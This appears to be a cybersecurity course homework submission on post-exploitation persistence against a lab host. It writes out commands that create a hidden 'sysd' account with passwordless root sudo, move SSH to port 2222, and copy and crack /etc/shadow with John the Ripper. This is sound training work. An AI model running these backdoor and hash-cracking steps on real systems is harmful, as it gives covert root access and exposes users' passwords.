**Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named **sysd**. Make sure this user doesn't have a home folder created:
   * sudo useradd -u 953 -M sysd
2. Give your secret user a password:
   * sudo passwd sysd
3. Give your secret user a system UID < 1000:
   * See answer in step one
4. Give your secret user the same GID:
   * groupmod -g 953 sysd
5. Give your secret user full **sudo** access without the need for a password:
   * sudo visudo
     1. Add sysd ALL=(ALL) NOPASSWD:ALL to the sudor’s file
6. Test that **sudo** access works without your password:
7. Login sysd $ whoami
8. sysd
9. $ sudo whoami
10. root

**Step 2: Smooth Sailing**

1. Edit the **sshd\_config** file:
2. nano /etc/ssh/sshd\_config
3. uncomment port=
4. set port=2222
5. save
6. exit

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * systemctl restart sshd
2. Exit the **root** account:
   * exit
3. SSH to the target machine using your **sysd** account and port **2222**:
   * ssh sysd@192.168.6.105 -p 2222
4. Use **sudo** to switch to the root user:
   * sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your **sysd** account and port **2222**:
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the **root** user. Use John to crack the entire **/etc/shadow** file:
   * sudo su
   * cp /etc/shadow /tmp/shadow
   * john /tmp/shadow

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